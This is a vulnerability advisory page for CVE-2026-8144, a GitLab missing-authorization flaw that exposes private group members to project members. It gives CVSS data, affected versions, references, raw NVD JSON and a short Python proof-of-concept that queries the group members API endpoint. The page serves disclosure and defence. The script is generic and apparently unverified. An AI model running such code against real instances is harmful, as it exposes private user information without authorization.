CVE-2026-8144

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.1 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with project membership to enumerate private group members due to missing authorization checks.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GitLab CE/EE >= 15.1, < 18.9.7

GitLab CE/EE >= 18.10, < 18.10.6

GitLab CE/EE >= 18.11, < 18.11.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: GitLab Private Group Member Enumeration
# Date: 2026-05-14
# Exploit Author: Researcher
# Vendor Homepage: https://gitlab.com
# Version: < 18.9.7, < 18.10.6, < 18.11.3
# Tested on: GitLab CE/EE

def check_poc(url, token, group_id):
    """
    Attempt to enumerate members of a private group using project membership.
    """
    headers = {
        "Authorization": f"Bearer {token}"
    }
    # Endpoint usually used for listing members, vulnerable due to missing auth check
    target_url = f"{url}/api/v4/groups/{group_id}/members"
    
    response = requests.get(target_url, headers=headers)
    
    if response.status_code == 200:
        print(f"[+] Success! Group {group_id} members leaked:")
        print(response.json())
    else:
        print(f"[-] Failed with status code: {response.status_code}")

if __name__ == "__main__":
    TARGET_URL = "https://gitlab.example.com"
    PRIVATE_TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx"
    TARGET_GROUP_ID = "123"
    check_poc(TARGET_URL, PRIVATE_TOKEN, TARGET_GROUP_ID)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8144
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8144
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8144/
[4] VulDB https://vuldb.com/cve/CVE-2026-8144
[5] https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/
[6] https://gitlab.com/gitlab-org/gitlab/-/work_items/591964

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8144", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:25.840", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.1 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that could have allowed an authenticated user with project membership to enumerate private group members due to missing authorization checks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/591964", "source": "[email protected]"}]}}